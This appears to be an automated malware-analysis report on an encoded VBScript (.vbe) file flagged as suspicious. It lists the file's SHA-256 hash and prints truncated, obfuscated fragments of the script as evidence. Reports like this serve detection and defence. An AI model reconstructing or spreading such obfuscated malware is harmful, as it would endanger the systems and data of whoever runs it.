Suspicious ^80% Download

9550e80fc9f637f69948543992cc8dd3417be4986796f01e9cb3248a911cb31c.vbe

Encoded VBScript malware

Microsoft Script Encoder protected scriptVBScript has long average lines

SHA-2569550e80fc9f637f69948543992cc8dd3417be4986796f01e9cb3248a911cb31c

Evidence

Microsoft Script Encoder protected script line 1

1#@~^2fYRAA==6aYrKx,26aVb^kD@#@&@#@&B::[aa[:a[aa[::a[a[a:a::[a:a[:a[a::[aa::[a:a[:[@#@&EPtrf`SA~n"qHZ&n)J@#@&B[:a[aa[::a[a[a:a::[a:a[:a[a::[aa::[a:a[:[a:[a[@#@&tlbU`*@#@&@#@&?;8,HlbU`*@#@&,~~PGksP^WUWboSPknm!DrOHZtn^0~~DLb/OMXtlxmo.~,0rVHCUmo+MSPDl/0\CxmoDSP2CHVGl936m;OKD@#@&~,P~@#@&~,P~EP&xkDkmskklOkKx~[/PsGN!V+k@#@&P,P,?nY~^KxWkT~',1nA,ZWUWbo;DmObWU@#@&,PP,?OPk+^EMkOz;t+1VP{P1A~?m!DrYz@#@&P~P,j+DP.nTk/O.HHCxmLD~{Pg+h,ILkkY.X_lU[^+D@#@&P,PPUnOP6k^+\lUCT+.P{~1h~obV+uC	Ns+M@#@&P~,PU+Y,Ymd3tlUlT+.~{P1AP:l/0j^tN!VnD@#@&,P~PUnY,wCz^Wl[3X+^EDGMPx,1hPhlHsWmN36m;OKD@#@&~P,P@#@&~~P,B,ZGxWrTE.lD …

Percent-encoded content decoded line 1

1:54871… ;2wssw%G*Zyc!A%{*z,swosRfc;+*&Z2Rv$b1owso%G*Zycq0A%v+)Ososw3OfZcZ!!Z%23Z8%0fWZ+*yc%~oc+b!Z30ZFbFsoso0~Z02R3Az%oows*T0~Z32R1WZXwswsvz!y0fWZ+cy%30zfbFoswsvzTq%Gc; * 00~sT2R)!zGoows%$9+%$ZR3R2*yfZF!Z%2/c8%3,R2T*Z …

Microsoft Script Encoder footer line 1

1:1177258… M`/S	ocELCJ,'P1tlM/GN#*@#@&P~~,1n6D@#@&,P~~@#@&P~~,Cn6:GUY.bxTP',DdE^Y@#@&Ax[~wEx1OkKxwY3pAw==^#~@�